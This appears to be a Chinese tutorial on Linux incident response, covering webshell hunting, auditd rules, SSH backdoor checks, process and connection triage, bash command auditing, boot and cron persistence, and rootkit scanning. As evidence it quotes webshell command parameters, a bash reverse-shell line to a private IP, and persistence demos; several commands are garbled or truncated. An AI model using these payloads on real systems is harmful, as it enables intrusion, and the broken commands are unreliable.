Linux應急響應姿勢淺談
一、前記
無論是甲方還是乙方的同學,應急響應可能都是家常便飯,你可能經常收到如下反饋:
運維同事 --> 伺服器上存在可疑進程,系統資源佔用高;
網路同事 --> 監控發現某台伺服器對外大量發包;
....
不要著急,喝一杯82年的美年達壓壓驚,希望本文可以對你有所幫助。
二、排查流程
0x01 Web服務
一般如果網路邊界做好控制,通常對外開放的僅是Web服務,那麼需要先找到Webshell,可以通過如下途徑:
1)檢查最近創建的php、jsp文件和上傳目錄
例如要查找24小時內被修改的JSP文件:
> find ./ -mtime 0 -name "*.jsp"
2)使用Webshell查殺工具
Windows下D盾等,Linux下河馬等。
3)與測試環境目錄做對比
4)創建Audit審計規則
vim /etc/audit/audit.rules-a exclude,always -F msgtype=CONFIG_CHANGE-a exit,always -F arch=b64 -F uid=48 -S execve -k webshell
產生日誌如下:
可以看到所在目錄為/var/www/html/dvwa
具體Auditd的使用如下:
Auditd服務介紹
Auditd服務是Linux自帶的審計系統,用來記錄審計信息,從安全的角度可以用於對系統安全事件的監控。
Auditd服務的配置文件位於/etc/audit/audit.rules,其中每個規則和觀察器必須單獨在一行中。語法如下:
-a ,
配置如下:
task
每個任務的列表。只有當創建任務時才使用。只有在創建時就已知的欄位(比如UID)才可以用在這個列表中。
entry
系統調用條目列表。當進入系統調用確定是否應創建審計時使用。
exit
系統調用退出列表。當退出系統調用以確定是否應創建審計時使用。
user
用戶消息過濾器列表。內核在將用戶空間事件傳遞給審計守護進程之前使用這個列表過濾用戶空間事件。有效的欄位只有uid、auid、gid和pid。
exclude
事件類型排除過濾器列表。用於過濾管理員不想看到的事件。用msgtype欄位指定您不想記錄到日誌中的消息。
配置如下:
never
不生成審計記錄。
always
分配審計上下文,總是把它填充在系統調用條目中,總是在系統調用退出時寫一個審計記錄。如果程序使用了這個系統調用,則開始一個審計記錄。
配置如下:
-S
根據名稱或數字指定一個系統。要指定所有系統調用,可使用all作為系統調用名稱。
-F
指定一個規則欄位。如果為一個規則指定了多個欄位,則只有所有欄位都為真才能啟動一個審計記錄。每個規則都必須用-F啟動,最多可以指定64個規則。
常用的欄位如下:
pid進程ID。
ppid父進程的進程ID。
uid用戶ID。
gid組ID。
msgtype消息類型號。
只應用在排除過濾器列表上。
arch系統調用的處理器體系結構。指定精確的體系結構,比如i686(可以通過uname -m命令檢索)或者指定b32來使用32位系統調用表,或指定b64來使用64位系統調用表。...
編寫測試Java命令監控規則
Jboss的啟動賬戶為nobody,添加審計規則
# grep -a /etc/audit/audit.rules -a exclude,always -F msgtype=CONFIG_CHANGE-a exit,always -F arch=b32 -F uid=99 -S execve -k webshell
重啟服務
# service auditd restartStopping auditd: [ OK ]Starting auditd: [ OK ]
使用webshell測試:
1)菜刀馬測試
菜刀馬傳遞的參數為
tom=M&z0=GB2312&z1=-c/bin/sh&z2=cd /;whoami;echo [S];pwd;echo [E]
所執行的程序如下:
else if(Z.equals("M"));Process p=Runtime.getRuntime().exec(c);
審計日誌如下:
2)jspspy測試
jspspy傳遞的參數為
o=shell&type=command&command=netstat+-antlp&submit=Execute
所執行的程序如下:
String type = request.getParameter("type");if (type.equals("command")) | sort | uniq -c | sort -nr
3)Content-Length
Content-Length過大的請求,例如過濾Content-Length大於5M的日誌
awk } /var/log/httpd/access_log
注意
這裡如果發現文件,不要直接用vim查看編輯文件內容,這樣會更改文件的mtime,而對於應急響應來說,時間點很重要。對比時間點更容易在Log找到其他的攻擊痕迹。
0x02 SSH服務
查看登錄信息
登錄成功:
grep Accepted /var/log/secure | awk | sort | uniq -c | sort -nr
或者last命令,它會讀取位於/var/log/wtmp的文件,並把該文件記錄的登錄系統的用戶名單,全部顯示出來。
登錄失敗:
grep Failed /var/log/secure | awk | sort | uniq -c | sort -nr
或者lastb命令,會讀取位於/var/log/btmp的文件,並把該文件記錄的登入系統失敗的用戶名單,全部顯示出來。
檢查SSH後門
1)比對ssh的版本
2)查看ssh配置文件和/usr/sbin/sshd的時間
> stat /usr/sbin/sshd
3)strings檢查/usr/sbin/sshd,看是否有郵箱信息
strings可以查看二進位文件中的字元串,在應急響應中是十分有用的。有些sshd後門會通過郵件發送登錄信息,通過strings /usr/sbin/sshd可以查看到郵箱信息。
4)通過strace監控sshd進程讀寫文件的操作
一般的sshd後門都會將賬戶密碼記錄到文件,可以通過strace進程跟蹤到ssh登錄密碼文件。
ps axu | grep sshd | grep
-v greproot 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
strace -o aa -ff -p 65530
grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4
0x03 進程
檢查是否存在可疑進程,需要注意如果攻擊者獲取到了Root許可權,被植入內核或者系統層Rootkit的話,進程也會隱藏。
1)資源佔用
Top然後找到CPU和MEM排序
2)啟動時間
可疑與前面找到的Webshell時間點比對。
3)啟動許可權
這點很重要,比如某次應急中發現木馬進程都是mysql許可權執行的,如下所示:
mysql 63763 45.3 0.0 12284 9616 ? R 01:18 470:54 ./db_temp/dazui.4
mysql 63765 0.0 0.0 12284 9616 ? S 01:18 0:01 ./db_temp/dazui.4
mysql 63766 0.0 0.0 12284 9616 ? S 01:18 0:37 ./db_temp/dazui.4
mysql 64100 45.2 0.0 12284 9616 ? R 01:20 469:07 ./db_temp/dazui.4
mysql 64101 0.0 0.0 12284 9616 ? S 01:20 0:01 ./db_temp/dazui.4
那基本可以判斷是通過Mysql入侵,重點排查Mysql弱口令、UDF提權等。
4)父進程
例如我在菜刀中反彈Bash
[root@server120 html]# ps -ef | grep /dev/tcp | grep -v grepapache 26641 1014 0 14:59 ? 00:00:00 sh -c /bin/sh -c "cd /root/apache-tomcat-6.0.32/webapps/ROOT/;bash -i >& /dev/tcp/192.168.192.144/2345 0>&1;echo [S];pwd;echo [E]" 2>&1
父進程進程號1014
[root@server120 html]# ps -ef | grep 1014apache 1014 1011 0 Sep19 ? 00:00:00 /usr/sbin/httpd
可以看到父進程為apache,就可以判斷攻擊者通過Web入侵。
獲取到可疑進程號之後,可疑使用lsof -p pid查看相關文件和路徑。
例如之前遇到的十字病毒,會修改ps和netstat顯示的進程名稱
udp 0 0 0.0.0.0:49937 0.0.0.0:* 131683/ls -la udp 0 0 0.0.0.0:47584 0.0.0.0:* 116515/ifconfig
使用lsof -p pid可以看到可執行文件
可以文件類型可以使用file獲取;
[root@server120 tmp]# file .zlzl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
對於二進位的文件可以使用strings讀取可讀字元
[root@server120 tmp]# strings .zlrm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLexnetstat -anp | grep "IptabLes" |awk |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m > /dev/nullnetstat -anp | grep "IptabLex" |awk |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m > /dev/null
例如之前應急遇到的命令替換,通過Strings查看發現有大量的IP地址。
[root@i-9kp9tipm log]# strings /usr/bin/.sshd | egrep [1-9].[1-9].
8.8.8.8
8.8.4.4
8.8.8.8
61.132.163.68
202.102.192.68
202.102.213.68
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
0x04 網路連接
需要注意如果攻擊者獲取到了Root許可權,被植入內核或者系統層Rootkit的話,連接是可以被隱藏的。
netstat -antlp | grep ESTABLISHED
查看已經建立的網路連接,例如反彈bash
[root@server120 html]# netstat -antlp | grep EST | grep bashtcp 0 0 192.168.192.120:41320 192.168.192.144:2345 ESTABLISHED 26643/bash
netstat -antlp | grep LISTEN
檢查可以監聽埠,例如攻擊者在本地開啟sock5代理,然後使用SSH反彈sock5。
[root@server120 html]# netstat -antlp | grep LISTEN | grep 1080tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN 26810/pythonlsof -i:
0x05 敏感目錄
/tmp, /var/tmp, /dev/shm,所有用戶都可讀,可寫,可執行
[root@server120 ~]# ls -ald /tmp/drwxrwxrwt. 10 root root 4096 9月 20 09:41 /tmp/[root@server120 ~]# ls -ald /var/tmp/drwxrwxrwt. 2 root root 4096 9月 18 16:57 /var/tmp/[root@server120 ~]# ls -ald /dev/shmdrwxrwxrwt. 3 root root 60 9月 1 10:23 /dev/shm
0x06 history
默認的history僅記錄執行的命令,然而這些對於應急來說是不夠的,很多系統加固腳本會添加記錄命令執行的時間,修改記錄的最大條數。之前寫的關於Bash審計方式也很推薦。從Bash4.1 版本開始,Bash開始支持Rsyslog,
下載bash-4.4,下載地址: https://ftp.gnu.org/gnu/bash/
現在本機編譯一份
1)修改bashhist.c:
修改771行
syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, line);
修改776行
syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, trunc);
2)再修改config-top.h
去掉115行/**/
syslog的FACILITY為 user,日誌級別為info
3)
./configure --prefix=/usr/local/bash && make && make install
將/usr/local/bash/bin/bash拷貝出來
備份線上伺服器原/bin/bash
[root@localhost ~]# mv /bin/bash /bin/bashbak
RZ放到線上伺服器
修改許可權為755
4)修改rsyslog配置,這裡我們先輸出到本地測試一下
[root@zaojiasys_31 admin]# touch /var/log/bash.log[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf
添加user.info /var/log/bash.log
[root@zaojiasys_31 admin]# service rsyslog restart[root@zaojiasys_31 admin]# tail -f /var/log/bash.log Jul 25 16:22:15 localhost bash[18540]: PID=18540 UID=0 User=root Cmd=tail -f /var/log/bash.log Jul 25 16:22:21 localhost bash[19033]: PID=19033 UID=0 User=root Cmd=whoami
5)
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf
修改*.info;mail.none;authpriv.none;cron.none;local6.none;user.none /var/log/messages 添加user.none
添加user.info @10.110.1.33:3514
使用ELK,首先配置logstash
input { syslog{ port => "3514" type => "bash" } }filter { grok{ match => { "message" => "PID=% UID=% User=% Cmd=%" } } date { match => ["timestamp", "MMM dd HH:mm:ss"] target => "@timestamp" "locale" => "en" timezone => "UTC" } mutate { remove_field => [ "message" ] }}output { if "_grokparsefailure" not in [tags] { elasticsearch { hosts => "10.110.1.33:9200" index => "bash_%{+YYYY.MM.dd}" } }}
Elasticsearch 添加模板
查看Kibana
[root@server120 ~]# ll /bin/shlrwxrwxrwx. 1 root root 4 3月 21 2016 /bin/sh -> bash
/bin/sh是軟鏈到/bin/bash的,/bin/sh也可以審計到。
另外禁用其他的shell:
# chmod 750 /bin/csh# chmod 750 /bin/tcsh# chmod 750 /bin/dash
0x07 開機啟動
在應急響應時,開機啟動項是必查的項,下面梳理一下關於開機啟動與服務相關需要排查的點。直接從init開始說。
RHEL5、RHEL6、RHEL7的init系統分別為sysvinit、upstart、systemd。這裡CentOS7暫且不表,因為生產環境絕大部分都是CentOS6,少量的CentOS5。
CentOS 5:
init程序會讀取init的配置文件/etc/inittab,並依據此文件來進行初始化工作。/etc/inittab文件主要作用是指定運行級別,執行系統初始化腳本(/etc/rc.d/rc.sysinit),啟動相應運行級別下的服務和啟動終端。
[root@jianshe_28 admin]# cat /etc/inittab## inittab This file describes how the INIT process should set up# the system in a certain run-level.## Author: Miquel van Smoorenburg, # Modified for RHS Linux by Marc Ewing and Donnie Barnes## Default runlevel. The runlevels used by RHS are:# 0 - halt (Do NOT set initdefault to this)# 1 - Single user mode# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)# 3 - Full multiuser mode# 4 - unused# 5 - X11# 6 - reboot (Do NOT set initdefault to this)# id:3:initdefault:# System initialization.si::sysinit:/etc/rc.d/rc.sysinitl0:0:wait:/etc/rc.d/rc 0l1:1:wait:/etc/rc.d/rc 1l2:2:wait:/etc/rc.d/rc 2l3:3:wait:/etc/rc.d/rc 3l4:4:wait:/etc/rc.d/rc 4l5:5:wait:/etc/rc.d/rc 5l6:6:wait:/etc/rc.d/rc 6# Trap CTRL-ALT-DELETEca::ctrlaltdel:/sbin/shutdown -t3 -r now# When our UPS tells us power has failed, assume we have a few minutes# of power left. Schedule a shutdown for 2 minutes from now.# This does, of course, assume you have powerd installed and your# UPS connected and working correctly. pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"# If power was restored before the shutdown kicked in, cancel it.pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"# Run gettys in standard runlevels1:2345:respawn:/sbin/mingetty tty12:2345:respawn:/sbin/mingetty tty23:2345:respawn:/sbin/mingetty tty34:2345:respawn:/sbin/mingetty tty45:2345:respawn:/sbin/mingetty tty56:2345:respawn:/sbin/mingetty tty6# Run xdm in runlevel 5x:5:respawn:/etc/X11/prefdm -nodaemon
inittab文件中的值都是如下格式:
id:
id是指入口標識符,他是個字元串,對於getty、mingetty等,需求id和tty的編號相同,否則getty將不能正常工作。
runlevel:
指定runlevel的級別。能指定多個runlevel級別,也能不為runlevel欄位指定特定的值。
運行級別決定了系統啟動的絕大部分行為和目的。這個級別從0到6,具有不同的功能。不同的運行級定義如下:
# 0 - 停機(千萬別把initdefault設置為0,否則系統永遠無法啟動)
# 1 - 單用戶模式
# 2 - 多用戶,沒有 NFS
# 3 - 完全多用戶模式(標準的運行級)
# 4 - 系統保留的
# 5 - X11 (x window)
# 6 - 重新啟動
action:
定義了該進程應該運行在何種狀態下,其中action常用的種類有:
wait:切換至某級別運行一次process
respawn:此process終止的話,就重新啟動之
initdefault:設置默認運行級別的,process省略
sysinit:設定系統初始化方式,此處一般指定為:/etc/rc.d/rc.sysinit
process:
包含init執行的進程
下面看一下具體的配置
> id:3:initdefault:
設置runlevel
> si::sysinit:/etc/rc.d/rc.sysinit
執行了/etc/rc.d/rc.sysinit,一個shell腳本,他主要是完成一些系統初始化的工作,例如激活交換分區,檢查磁碟,載入硬體模塊及其他一些需要優先執行任務。
l0:0:wait:/etc/rc.d/rc 0l1:1:wait:/etc/rc.d/rc 1l2:2:wait:/etc/rc.d/rc 2l3:3:wait:/etc/rc.d/rc 3l4:4:wait:/etc/rc.d/rc 4l5:5:wait:/etc/rc.d/rc 5l6:6:wait:/etc/rc.d/rc 6
/etc/rc.d/rc是個shell腳本,接受runlevel參數,去執行該runlevel目錄下的所有的rc啟動腳本。以啟動級別為3為例,/etc/rc.d/rc3.d/其實都是一些鏈接文件,真正的rc啟動腳本實際上都是放在/etc/rc.d/init.d/目錄下。而這些rc啟動腳本有著類似的用法,他們一般能接受start、stop、restart、status等參數。
[root@localhost init.d]# ll /etc/rc.d/rc3.d/lrwxrwxrwx. 1 root root 16 Jul 13 15:04 K01smartd -> ../init.d/smartdlrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd.....
凡是以Kxx開頭的,都以stop為參數來調用;凡是以Sxx開頭的,都以start為參數來調用。xx是數字、表示的是啟動順序,按xx從小到大來執行。
我們來用chkconfig修改一下試試
[root@localhost rc3.d]# ll | grep auditlrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd[root@localhost rc3.d]# chkconfig auditd off --level 3[root@localhost rc3.d]# ll | grep auditlrwxrwxrwx 1 root root 16 Jul 20 14:00 K88auditd -> ../init.d/auditd
另外說明一下應急響應中我們都會檢查/etc/rc.local,其實也是在rcN.d中。
/etc/rc.local是軟鏈到了/etc/rc.d/rc.local
[root@localhost init.d]# ll /etc/rc.locallrwxrwxrwx. 1 root root 13 Jul 13 15:03 /etc/rc.local -> rc.d/rc.local
Redhat中的運行模式2、3、5都把/etc/rc.d/rc.local做為初始化腳本中的最後一個
[root@localhost rc3.d]# ll /etc/rc.d/rc3.d/S99local lrwxrwxrwx. 1 root root 11 Jul 13 15:03 /etc/rc.d/rc3.d/S99local -> ../rc.local
1:2345:respawn:/sbin/mingetty tty12:2345:respawn:/sbin/mingetty tty23:2345:respawn:/sbin/mingetty tty34:2345:respawn:/sbin/mingetty tty45:2345:respawn:/sbin/mingetty tty56:2345:respawn:/sbin/mingetty tty6
init接下來會打開6個終端,以便用戶登錄系統。
總結一下,針對CentOS5系統,需要排查的點:
1)/etc/inittab
該文件是可以運行process的,這裡我們添加一行
> 0:235:once:/bin/vinc
內容如下
[root@localhost ~]# cat /bin/vinc #!/bin/bashcat /etc/issue > /tmp/version
重啟
[root@localhost ~]# cat /tmp/version CentOS release 5.5 (Final)Kernel r on an m
2)/etc/rc.d/rc.sysinit
在最後插入一行/bin/vinc
[root@localhost ~]# ll /tmp/version -rw-r--r-- 1 root root 47 11-05 10:10 /tmp/version
3)/etc/rc.d/init.d
4)/etc/rc.d/rc.local
CentOS 6:
init會讀取配置文件/etc/inittab 和 /etc/init/*.conf。先看一下/etc/inittab
[root@server120 src]# cat /etc/inittab# inittab is only used by upstart for the default runlevel.## ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.## System initialization is started by /etc/init/rcS.conf## Individual runlevels are started by /etc/init/rc.conf## Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf## Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,# with configuration in /etc/sysconfig/init.## For information on how to write upstart event handlers, or how# upstart works, see init(5), init(8), and initctl(8).## Default runlevel. The runlevels used are:# 0 - halt (Do NOT set initdefault to this)# 1 - Single user mode# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)# 3 - Full multiuser mode# 4 - unused# 5 - X11# 6 - reboot (Do NOT set initdefault to this)# id:3:initdefault:
通過注釋可以看到,upstart只使用inittab讀取默認的runlevel。添加其他的配置都不會生效,其他的配置都移動到了/etc/init/*.conf下。
系統初始化/etc/init/rcS.conf
對應runlevel的服務啟動/etc/init/rc.conf
終端配置/etc/init/tty.conf
....
總結一下,針對CentOS6系統,需要排查的點:
1)/etc/init/*.conf
vim tty.conf,添加一行
> exec /bin/vinc
內容如下:
[root@vincenthostname init]# cat /bin/vinc #!/bin/bashtouch /tmp/vinc
重啟
[root@vincenthostname ~]# ll /tmp/vinc-rw-r--r-- 1 root root 0 6月 22 15:07 /tmp/vinc
2)/etc/rc.d/rc.sysinit
3)/etc/rc.d/init.d
4)/etc/rc.d/rc.local
0x08 定時任務
在應急響應中,最重要的一個點就是定時任務,例如Redis未授權通過持久化配置寫入Crontab中。下面梳理一下定時任務相關的知識點:
一般常用的定時任務crontab -l是用戶級別的,保存在/var/spool/cron/,每個用戶都可以通過crontab -e編輯自己的定時任務列表。
而/etc/crontab是系統級別的定時任務,只有Root賬戶可以修改。
另外在應急的時候需要留意的點還有/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly等周期性執行腳本的目錄。例如我想每天執行一個腳本,只需要放到/etc/cron.daily下,並且賦予執行許可權即可。
那這些目錄下的任務是怎麼調用的?這裡CentOS5和CentOS6還是有區別的。
CentOS5中:
[root@jianshe_28 /]# cat /etc/issueCentOS release 5.8 (Final)Kernel r on an m[root@jianshe_28 /]# cat /etc/crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=rootHOME=/# run-parts01 * * * * root run-parts /etc/cron.hourly02 4 * * * root run-parts /etc/cron.daily22 4 * * 0 root run-parts /etc/cron.weekly42 4 1 * * root run-parts /etc/cron.monthly
run-parts命令位於/usr/bin/run-parts,內容是很簡單的一個shell腳本,就是遍歷目標文件夾,執行第一層目錄下的可執行許可權的文件。
所以在CentOS5下是實際是通過/etc/crontab來運行/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下面的腳本的。
這裡我們注意到在/etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下都有一個腳本0anacron
[root@jianshe_28 cron.daily]# cat /etc/cron.daily/0anacron | grep -v ^# | grep -v ^$ if [ ! -e /var/run/anacron.pid ]; then anacron -u cron.dailyfi[root@jianshe_28 cron.daily]# cat /etc/cron.weekly/0anacron | grep -v ^# | grep -v ^$ if [ ! -e /var/run/anacron.pid ]; then anacron -u cron.weeklyfi[root@jianshe_28 cron.daily]# cat /etc/cron.monthly/0anacron | grep -v ^# | grep -v ^$ if [ ! -e /var/run/anacron.pid ]; then anacron -u cron.monthlyfi
這裡就需要介紹一些/usr/sbin/anacron,anacron是幹什麼的?
anacron主要在處理非 24 小時一直啟動的 Linux 系統的 crontab 的運行。所以 anacron 並不能指定何時運行某項任務, 而是以天為單位或者是在啟動後立刻進行 anacron 的動作,他會去檢查停機期間應該進行但是並沒有進行的 crontab 任務,並將該任務運行一遍後,anacron 就會自動停止了。
anacron的配置文件是/etc/anacrontab
[root@jianshe_28 cron.daily]# cat /etc/anacrontab # /etc/anacrontab: configuration file for anacron# See anacron(8) and anacrontab(5) for details.SHELL=/bin/shPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root1 65 cron.daily run-parts /etc/cron.daily7 70 cron.weekly run-parts /etc/cron.weekly30 75 cron.monthly run-parts /etc/cron.monthly
具體含義如下:
第一部分是輪迴天數,即是指任務在多少天內執行一次,monthly 就是一個月(30天)內執行,weekly 即是在一周之內執行一次。
第二部分 delay 是指輪迴內的重試時間,這個意思有兩部分,一個是 anacron 啟動以後該服務 ready 暫不運行的時間(周任務的 70 delay 在 anacron 啟動後70分鐘內不執行,而處於 ready 狀態),另一個是指如果該任務到達運行時間後卻因為某種原因沒有執行(比如前一個服務還沒有運行完成,anacron 在 /etc/init.d 的腳本中加了一個 -s 參數,便是指在前一個任務沒有完成時不執行下一個任務),依然以周任務和月任務為例,周任務在啟動 anacron 後的 70 分鐘執行,月任務在服務啟動後 75 分鐘執行,但是,如果月任務到達服務啟動後 75 分鐘,可是周任務運行超過5分鐘依然沒有完成,那月任務將會進入下一個 75 分鐘的輪迴,在下一個 75 分鐘時再檢查周任務是否完成,如果前一個任務完成了那月任務開始運行。
第三部分 job-identifier ,anacron 每次啟動時都會在 /var/spool/anacron 裡面建立一個以 job-identifier 為文件名的文件,裡面記錄著任務完成的時間,如果任務是第一次運行的話那這個文件應該是空的。anacron運行時,會去檢查「/var/spool/anacron/這部分」文件中的內容,內容為一個日期,如下:
[root@localhost /]# cat /var/spool/anacron/cron.cron.daily cron.monthly cron.weekly [root@localhost /]# cat /var/spool/anacron/cron.*201707192017071320170713
根據這個日期判斷下面的第四部分要不要執行。 比如說這裡寫的是cron.daily,然後/var/spool/anacron/cron.daily文件中記錄的日期為昨天的話,那anancron執行後就行執行這一行對應第四行的動作。
第四部分最為簡單,僅僅是你想運行的命令
/usr/sbin/anacron常用參數:
-s :開始連續的運行各項工作 (job),會依據時間記錄檔的數據判斷是否進行;
-f :強制進行,而不去判斷時間記錄檔的時間戳記;
-n :立刻進行未進行的任務,而不延遲 (delay) 等待時間;
-u :僅升級時間記錄檔的時間戳記,不進行任何工作。
所以在CentOS5中已經通過/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly已經通過/etc/crontab配置執行了,所以這裡只是通過anacron -u來記錄了執行的時間。
CentOS6中:
[root@localhost /]# cat /etc/issueCentOS release 6.5 (Final)Kernel r on an m[root@localhost /]# cat /etc/crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=rootHOME=/# For details see man 4 crontabs# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executed
可以看到默認的/etc/crontab為空了。那麼/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly下面的任務是怎麼執行的?
我們再仔細看一下,注意到CentOS5下的/etc/cron.d目錄為空。
[root@jianshe_28 cron.daily]# ll /etc/cron.dtotal 0
而CentOS6下有一個0hourly
[root@localhost /]# ll /etc/cron.dtotal 12-rw-r--r-- 1 root root 113 Jul 18 19:36 0hourly
看一下執行的任務
[root@localhost /]# cat /etc/cron.d/0hourly SHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=rootHOME=/01 * * * * root run-parts /etc/cron.hourly
然後看一下/etc/cron.hourly所執行的腳本
[root@localhost /]# ll /etc/cron.hourlytotal 4-rwxr-xr-x 1 root root 409 Jul 18 14:20 0anacron[root@localhost /]# cat /etc/cron.hourly/0anacron #!/bin/bash# Skip excecution unless the date has changed from the previous run if test -r /var/spool/anacron/cron.daily; then day=`cat /var/spool/anacron/cron.daily`fiif [ `date +%Y%m%d` = "$day" ]; then exit 0;fi# Skip excecution unless AC poweredif test -x /usr/bin/on_ac_power; then /usr/bin/on_ac_power &> /dev/null if test $? -eq 1; then exit 0 fifi/usr/sbin/anacron -s
然後看一下/etc/anacrontab的內容
[root@localhost /]# cat /etc/anacrontab # /etc/anacrontab: configuration file for anacron# See anacron(8) and anacrontab(5) for details.SHELL=/bin/shPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root# the maximal random delay added to the base delay of the jobsRANDOM_DELAY=45# the jobs will be started during the following hours onlySTART_HOURS_RANGE=3-22#period in days delay in minutes job-identifier command1 5 cron.daily nice run-parts /etc/cron.daily7 25 cron.weekly nice run-parts /etc/cron.weekly@monthly 45 cron.monthly nice run-parts /etc/cron.monthly
這裡多了兩條配置
RANDOM_DELAY=45
表示定時觸發後隨機延遲45分鐘以內的時間再啟動應用
START_HOURS_RANGE=3-22
表示程序在3時至22時之間會啟動
看到這裡我們就明白了在CeontOS6 裡面,crond會檢查/etc/cron.d裡面的配置,裡面有一個0hourly文件,每小時去運行一次/etc/cron.hourly目錄,該目錄下面有一個0anacron文件,這樣0anacron文件就能每小時運行一次,這裡其實執行的是/usr/sbin/anacron -s。anacron讀取配置文件/etc/anacrontab,將當前時間與/var/spool/anacron目錄下面的文件裡面的時間戳作對比,如果需要則去運行/etc/anacrontab對應的條目。
總結:
應急響應中關於定時任務應該排查的/etc/crontab,/etc/cron.d,/var/spool/cron/,然後順藤摸瓜去看其他調用的目錄/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly,/etc/anacrontab 。
其中容易忽視的就是/etc/anacrontab
在CentOS6下我們做個測試:
編輯/etc/anacrontab
修改RANDOM_DELAY=1
添加1 1 cron.test echo 1 >> /tmp/1.txt
[root@localhost cron.weekly]# /usr/sbin/anacron -s
等待一分多鐘後,可以看到
[root@localhost cron.weekly]# cat /var/spool/anacron/cron.test 20170719[root@localhost cron.weekly]# cat /tmp/1.txt 1
0x09 Rootkit
檢查命令替換
1)系統完整性可以通過rpm自帶的-Va來校驗檢查所有的rpm軟體包,有哪些被篡改了,防止rpm也被替換,上傳一個安全乾凈穩定版本rpm二進位到伺服器上進行檢查。
例如我替換一下/bin/ps,然後使用rpm -qaV查看
[root@vincenthostname tmp]# rpm -qaVS.?....T. /bin/ps
2)比對命令的大小
例如正常的ps和netstat大小
[root@vincent tmp]# ll /bin/ps-rwxr-xr-x 1 root root 87112 11月 15 2012 /bin/ps[root@vincent tmp]# ll /bin/netstat-rwxr-xr-x 1 root root 128216 5月 10 2012 /bin/netstat
下面是其中有一次應急時的記錄
[root@DataNode110 admin]# ls -alt /bin/ | head -n 10total 10836-rwxr-xr-x 1 root root 625633 Aug 17 16:26 tawlqkazpudr-xr-xr-x. 2 root root 4096 Aug 17 16:26 .-rwxr-xr-x 1 root root 1223123 Aug 17 11:30 ps-rwxr-xr-x 1 root root 1223123 Aug 17 11:30 netstat
可以看到ps和netstat是一樣大的。
3)查看命令的修改時間,按修改時間排序
ls -alt /bin/ | head -n 5
4)使用chkrootkit和rkhunter查看
chkrootkit
1、準備gcc編譯環境
對於CentOS系統,執行下述三條命令:
> yum -y install gcc gcc-c++ make glibc*
2、下載chkrootkit源碼
> [root@www ~]# wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
3、解壓下載回來的安裝包
4、編譯安裝(後文命令中出現的「*」無需替換成具體字元,原樣複製執行即可)
>[root@www ~]# cd chkrootkit-*
>
>[root@www ~]# make sense
注意,上面的編譯命令為make sense。
5、把編譯好的文件部署到/usr/local/目錄中,並刪除遺留的文件
>[root@www ~]# cd ..
>[root@www ~]# cp -r chkrootkit- /usr/local/chkrootkit
>[root@www ~]# rm -r chkrootkit-
至此,安裝完畢。
使用方法
安裝好的chkrootkit程序位於 /usr/local/chkrootkit/chkrootkit
直接執行
> root@vm:~# /usr/local/chkrootkit/chkrootkit
rkhunter
在安裝了kbeast的系統上測試,發現檢測效果不如rkhunter好。
下載地址: http://sourceforge.net/projects/rkhunter/files/
1)安裝
tar -xvf rkhunter-1.4.0.tar.gzcd rkhunter-1.4.0./installer.sh –install
在安裝了kbeast的系統上測試,可以成功檢測到。
/usr/local/bin/rkhunter –check -sk[19:50:27] Rootkit checks…[19:50:27] Rootkits checked : 389[19:50:27] Possible rootkits: 1[19:50:27] Rootkit names : KBeast Rootkit
2)在線升級
rkhunter是通過一個含有rootkit名字的資料庫來檢測系統的rootkits漏洞, 所以經常更新該資料庫非常重要, 你可以通過下面命令來更新該資料庫:
執行命令:
> rkhunter –update
3)檢測最新版本
讓 rkhunter 保持在最新的版本;
執行命令:
> rkhunter –versioncheck
0x10 病毒檢測
https://x.threatbook.cn/http://www.virscan.orghttps://www.virustotal.com/https://fireeye.ijinshan.com/
0x11 文件許可權
setfacl與getfacl
